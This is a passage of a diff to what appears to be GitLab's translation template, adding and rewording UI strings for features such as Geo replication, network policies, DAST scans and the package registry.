-msgid "GeoNodes|Wiki verification progress"
-msgstr ""
-
-msgid "GeoNodes|Wikis"
-msgstr ""
-
msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
msgstr ""
@@ -11164,6 +11443,12 @@ msgstr ""
msgid "GeoNodes|secondary nodes"
msgstr ""
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -11227,6 +11512,12 @@ msgstr ""
msgid "Geo|Geo Status"
msgstr ""
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr ""
@@ -11359,10 +11650,10 @@ msgstr ""
msgid "Geo|Waiting for scheduler"
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11539,7 +11830,7 @@ msgstr ""
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr ""
-msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page."
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
@@ -11656,7 +11947,10 @@ msgstr ""
msgid "Go to %{link_to_google_takeout}."
msgstr ""
-msgid "Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board."
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
msgstr ""
msgid "Go to Webhooks"
@@ -11938,6 +12232,9 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr ""
@@ -12214,7 +12511,7 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day waiting period. This period can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
@@ -12427,6 +12724,9 @@ msgstr ""
msgid "Health status"
msgstr ""
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
msgid "HealthCheck|Access token is"
msgstr ""
@@ -12442,6 +12742,9 @@ msgstr ""
msgid "Hello there"
msgstr ""
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr ""
@@ -12574,6 +12877,9 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -12730,6 +13036,12 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -12883,6 +13195,9 @@ msgstr ""
msgid "ImportProjects|Importing the project failed: %{reason}"
msgstr ""
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
msgid "ImportProjects|Requesting your %{provider} repositories failed"
msgstr ""
@@ -12898,6 +13213,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr ""
@@ -12910,13 +13228,13 @@ msgstr ""
msgid "Improve customer support with GitLab Service Desk."
msgstr ""
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
msgid "In %{time_to_now}"
msgstr ""
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
msgstr ""
msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
@@ -12925,21 +13243,24 @@ msgstr ""
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
msgstr ""
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
-
msgid "In progress"
msgstr ""
msgid "In the next step, you'll be able to select the projects you want to import."
msgstr ""
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr ""
msgid "IncidentManagement|All"
msgstr ""
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
msgid "IncidentManagement|Assignees"
msgstr ""
@@ -12952,6 +13273,9 @@ msgstr ""
msgid "IncidentManagement|Date created"
msgstr ""
+msgid "IncidentManagement|Display your incidents in a dedicated view"
+msgstr ""
+
msgid "IncidentManagement|Incident"
msgstr ""
@@ -12970,6 +13294,9 @@ msgstr ""
msgid "IncidentManagement|Published to status page"
msgstr ""
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
@@ -13045,6 +13372,9 @@ msgstr ""
msgid "Index all projects"
msgstr ""
+msgid "Index deletion is canceled"
+msgstr ""
+
msgid "Indicates whether this runner can pick jobs without tags"
msgstr ""
@@ -13111,6 +13441,9 @@ msgstr ""
msgid "Install on clusters"
msgstr ""
+msgid "Installation"
+msgstr ""
+
msgid "Installed"
msgstr ""
@@ -13126,7 +13459,7 @@ msgstr[2] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics visibility"
+msgid "Instance Statistics"
msgstr ""
msgid "Instance administrators group already exists"
@@ -13153,6 +13486,12 @@ msgstr ""
msgid "Integrations|Comment settings:"
msgstr ""
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
msgid "Integrations|Enable comments"
msgstr ""
@@ -13165,13 +13504,10 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
-msgid "Integrations|This integration has multiple settings available."
-msgstr ""
-
msgid "Integrations|Use custom settings"
msgstr ""
-msgid "Integrations|Use instance level settings"
+msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
@@ -13201,7 +13537,7 @@ msgstr ""
msgid "Introducing Value Stream Analytics"
msgstr ""
-msgid "Introducing Your DevOps Score"
+msgid "Introducing Your DevOps Report"
msgstr ""
msgid "Invalid Git ref"
@@ -13213,9 +13549,15 @@ msgstr ""
msgid "Invalid Login or password"
msgstr ""
+msgid "Invalid OS"
+msgstr ""
+
msgid "Invalid URL"
msgstr ""
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr ""
@@ -13312,6 +13654,39 @@ msgstr ""
msgid "Invite teammates (optional)"
msgstr ""
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
msgid "Invited users will be added with developer level permissions. You can always change this later."
msgstr ""
@@ -13351,6 +13726,9 @@ msgstr ""
msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
msgstr ""
+msgid "Issue Analytics"
+msgstr ""
+
msgid "Issue Boards"
msgstr ""
@@ -13450,9 +13828,6 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues Analytics"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
@@ -13594,6 +13969,9 @@ msgstr ""
msgid "JiraService| on branch %{branch_link}"
msgstr ""
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
msgstr ""
@@ -13636,6 +14014,9 @@ msgstr ""
msgid "JiraService|Password or API token"
msgstr ""
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
msgid "JiraService|Transition ID(s)"
msgstr ""
@@ -13651,6 +14032,9 @@ msgstr ""
msgid "JiraService|Username or Email"
msgstr ""
+msgid "JiraService|Using Jira for issue tracking?"
+msgstr ""
+
msgid "JiraService|View Jira issues in GitLab"
msgstr ""
@@ -13939,7 +14323,7 @@ msgstr ""
msgid "Labels can be applied to issues and merge requests."
msgstr ""
-msgid "Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>"
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
msgstr ""
msgid "Labels|Promote Label"
@@ -14170,7 +14554,7 @@ msgstr ""
msgid "License ID:"
msgstr ""
-msgid "License URL"
+msgid "License overview"
msgstr ""
msgid "License-Check"
@@ -14275,10 +14659,10 @@ msgstr ""
msgid "LicenseCompliance|Remove license?"
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses in this project."
+msgid "LicenseCompliance|There are currently no policies in this project."
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses that match in this project."
+msgid "LicenseCompliance|There are currently no policies that match in this project."
msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
@@ -14305,6 +14689,9 @@ msgstr ""
msgid "Licensed to"
msgstr ""
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr ""
@@ -14368,9 +14755,6 @@ msgstr ""
msgid "License|License"
msgstr ""
-msgid "License|Licensed user count exceeded"
-msgstr ""
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr ""
@@ -14386,9 +14770,6 @@ msgstr ""
msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr ""
-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr ""
@@ -14443,6 +14824,9 @@ msgstr ""
msgid "List available repositories"
msgstr ""
+msgid "List of all merge commits"
+msgstr ""
+
msgid "List settings"
msgstr ""
@@ -14464,6 +14848,9 @@ msgstr ""
msgid "Load more"
msgstr ""
+msgid "Load more users"
+msgstr ""
+
msgid "Loading"
msgstr ""
@@ -14515,7 +14902,7 @@ msgstr ""
msgid "Lock the discussion"
msgstr ""
-msgid "Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment."
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
msgstr ""
msgid "Lock to current projects"
@@ -14566,6 +14953,12 @@ msgstr ""
msgid "MERGED"
msgstr ""
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
msgstr ""
@@ -14581,6 +14974,9 @@ msgstr ""
msgid "MRApprovals|Approvers"
msgstr ""
+msgid "MRApprovals|Commented by"
+msgstr ""
+
msgid "MRDiff|Show changes only"
msgstr ""
@@ -14665,9 +15061,6 @@ msgstr ""
msgid "Manifest import"
msgstr ""
-msgid "Manual job"
-msgstr ""
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -14779,9 +15172,6 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
-msgid "Maven Metadata"
-msgstr ""
-
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -14917,6 +15307,15 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "Members of %{strong_open}%{project_name}%{strong_close}"
msgstr ""
@@ -14926,9 +15325,6 @@ msgstr ""
msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
msgstr ""
-msgid "Members with pending access to %{strong_start}%{group_name}%{strong_end}"
-msgstr ""
-
msgid "Memory Usage"
msgstr ""
@@ -14956,15 +15352,15 @@ msgstr ""
msgid "Merge Requests"
msgstr ""
-msgid "Merge Requests closed"
-msgstr ""
-
msgid "Merge Requests created"
msgstr ""
msgid "Merge Requests in Review"
msgstr ""
+msgid "Merge Requests merged"
+msgstr ""
+
msgid "Merge automatically (%{strategy})"
msgstr ""
@@ -14980,6 +15376,9 @@ msgstr ""
msgid "Merge in progress"
msgstr ""
+msgid "Merge locally"
+msgstr ""
+
msgid "Merge options"
msgstr ""
@@ -15043,6 +15442,27 @@ msgstr ""
msgid "MergeConflict|origin//their changes"
msgstr ""
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr ""
@@ -15175,6 +15595,12 @@ msgstr ""
msgid "MetricChart|Selected"
msgstr ""
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
msgid "Metrics"
msgstr ""
@@ -15277,6 +15703,12 @@ msgstr ""
msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
msgstr ""
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
msgid "Metrics|Copy YAML"
msgstr ""
@@ -15286,9 +15718,6 @@ msgstr ""
msgid "Metrics|Create custom dashboard %{fileName}"
msgstr ""
-msgid "Metrics|Create dashboard"
-msgstr ""
-
msgid "Metrics|Create metric"
msgstr ""
@@ -15322,9 +15751,15 @@ msgstr ""
msgid "Metrics|Duplicate dashboard"
msgstr ""
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
msgid "Metrics|Duplicating..."
msgstr ""
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
msgstr[0] ""
@@ -15337,9 +15772,6 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
-msgid "Metrics|Go back (Esc)"
-msgstr ""
-
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -15367,6 +15799,9 @@ msgstr ""
msgid "Metrics|Min"
msgstr ""
+msgid "Metrics|More actions"
+msgstr ""
+
msgid "Metrics|Must be a valid PromQL query."
msgstr ""
@@ -15391,6 +15826,9 @@ msgstr ""
msgid "Metrics|Prometheus Query Documentation"
msgstr ""
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
msgid "Metrics|Refresh dashboard"
msgstr ""
@@ -15469,6 +15907,9 @@ msgstr ""
msgid "Metrics|View logs"
msgstr ""
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
msgid "Metrics|Y-axis label"
msgstr ""
@@ -15520,12 +15961,18 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
msgid "Milestone lists show all issues from the selected milestone."
msgstr ""
+msgid "Milestone must have a start and due date"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -15691,6 +16138,15 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
msgid "Missing commit signatures endpoint!"
msgstr ""
@@ -15736,6 +16192,9 @@ msgstr ""
msgid "Monitoring"
msgstr ""
+msgid "Month"
+msgstr ""
+
msgid "Months"
msgstr ""
@@ -15925,12 +16384,45 @@ msgstr ""
msgid "Network Policy|New rule"
msgstr ""
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
msgid "NetworkPolicies|.yaml mode"
msgstr ""
msgid "NetworkPolicies|Actions"
msgstr ""
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr ""
@@ -15940,6 +16432,9 @@ msgstr ""
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr ""
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
msgid "NetworkPolicies|Description"
msgstr ""
@@ -15952,6 +16447,9 @@ msgstr ""
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr ""
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr ""
@@ -15970,12 +16468,18 @@ msgstr ""
msgid "NetworkPolicies|Network Policy"
msgstr ""
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
msgid "NetworkPolicies|New policy"
msgstr ""
msgid "NetworkPolicies|No policies detected"
msgstr ""
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr ""
@@ -16000,9 +16504,15 @@ msgstr ""
msgid "NetworkPolicies|Policy type"
msgstr ""
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
msgid "NetworkPolicies|Rule mode"
msgstr ""
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
msgid "NetworkPolicies|Rules"
msgstr ""
@@ -16015,9 +16525,54 @@ msgstr ""
msgid "NetworkPolicies|Status"
msgstr ""
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
msgstr ""
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -16411,12 +16966,18 @@ msgstr ""
msgid "No required pipeline"
msgstr ""
+msgid "No runner executable"
+msgstr ""
+
msgid "No runners found"
msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No source selected"
+msgstr ""
+
msgid "No stack trace for this error"
msgstr ""
@@ -16504,18 +17065,12 @@ msgstr ""
msgid "Not started"
msgstr ""
-msgid "Not-confidential epic cannot be assigned to a confidential parent epic"
-msgstr ""
-
msgid "Note"
msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
-msgid "Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\"%{pg_version_upcoming_url}\">the related epic</a> for details."
-msgstr ""
-
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -16663,9 +17218,6 @@ msgstr ""
msgid "Novice"
msgstr ""
-msgid "Now you can access the merge request navigation tabs at the top, where they’re easier to find."
-msgstr ""
-
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
@@ -16705,9 +17257,6 @@ msgstr ""
msgid "Number of files touched"
msgstr ""
-msgid "OAuth configuration for GitHub missing."
-msgstr ""
-
msgid "OK"
msgstr ""
@@ -16750,21 +17299,27 @@ msgstr ""
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr ""
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr ""
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new site profile"
msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr ""
-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
+msgid "OnDemandScans|Manage profiles"
msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
msgid "OnDemandScans|On-demand Scans"
msgstr ""
@@ -16774,25 +17329,31 @@ msgstr ""
msgid "OnDemandScans|Only a passive scan can be performed on demand."
msgstr ""
-msgid "OnDemandScans|Passive DAST Scan"
+msgid "OnDemandScans|Passive"
msgstr ""
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
+msgid "OnDemandScans|Run scan"
msgstr ""
-msgid "OnDemandScans|Run this scan"
+msgid "OnDemandScans|Scan mode"
msgstr ""
-msgid "OnDemandScans|Scan mode"
+msgid "OnDemandScans|Scanner settings"
msgstr ""
msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Target URL"
+msgid "OnDemandScans|Select one of the existing profiles"
+msgstr ""
+
+msgid "OnDemandScans|Site profiles"
msgstr ""
-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
+msgstr ""
+
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
@@ -16852,9 +17413,6 @@ msgstr ""
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr ""
-msgid "Only admins"
-msgstr ""
-
msgid "Only admins can delete project"
msgstr ""
@@ -16873,6 +17431,9 @@ msgstr ""
msgid "Only project members will be imported. Group members will be skipped."
msgstr ""
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr ""
@@ -16888,9 +17449,15 @@ msgstr ""
msgid "Open Selection"
msgstr ""
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr ""
+msgid "Open epics"
+msgstr ""
+
msgid "Open errors"
msgstr ""
@@ -17011,18 +17578,12 @@ msgstr ""
msgid "Outbound requests"
msgstr ""
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
-msgstr ""
-
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr ""
-
msgid "Outdent"
msgstr ""
@@ -17056,9 +17617,6 @@ msgstr ""
msgid "Package deleted successfully"
msgstr ""
-msgid "Package information"
-msgstr ""
-
msgid "Package recipe already exists"
msgstr ""
@@ -17143,6 +17701,12 @@ msgstr ""
msgid "PackageRegistry|Copy npm setup command"
msgstr ""
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
msgid "PackageRegistry|Copy yarn command"
msgstr ""
@@ -17158,6 +17722,9 @@ msgstr ""
msgid "PackageRegistry|Filter by name"
msgstr ""
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
@@ -17176,9 +17743,6 @@ msgstr ""
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
msgstr ""
-msgid "PackageRegistry|Installation"
-msgstr ""
-
msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
msgstr ""
@@ -17215,27 +17779,18 @@ msgstr ""
msgid "PackageRegistry|Pip Command"
msgstr ""
-msgid "PackageRegistry|Pipeline %{linkStart}%{linkEnd} triggered %{timestamp} by %{author}"
-msgstr ""
-
msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
msgstr ""
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Published to the repository at %{timestamp}"
-msgstr ""
-
msgid "PackageRegistry|PyPi"
msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
-msgid "PackageRegistry|Registry Setup"
-msgstr ""
-
msgid "PackageRegistry|Remove package"
msgstr ""
@@ -17284,13 +17839,19 @@ msgstr ""
msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
msgstr ""
-msgid "PackageRegistry|npm"
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
msgstr ""
msgid "PackageRegistry|published by %{author}"
msgstr ""
-msgid "PackageRegistry|yarn"
+msgid "PackageRegistry|yarn command"
msgstr ""
msgid "PackageType|Composer"
@@ -17434,7 +17995,7 @@ msgstr ""
msgid "Password successfully changed"
msgstr ""
-msgid "Password was successfully updated. Please login with it"
+msgid "Password was successfully updated. Please sign in again."
msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
@@ -17938,6 +18499,9 @@ msgstr ""
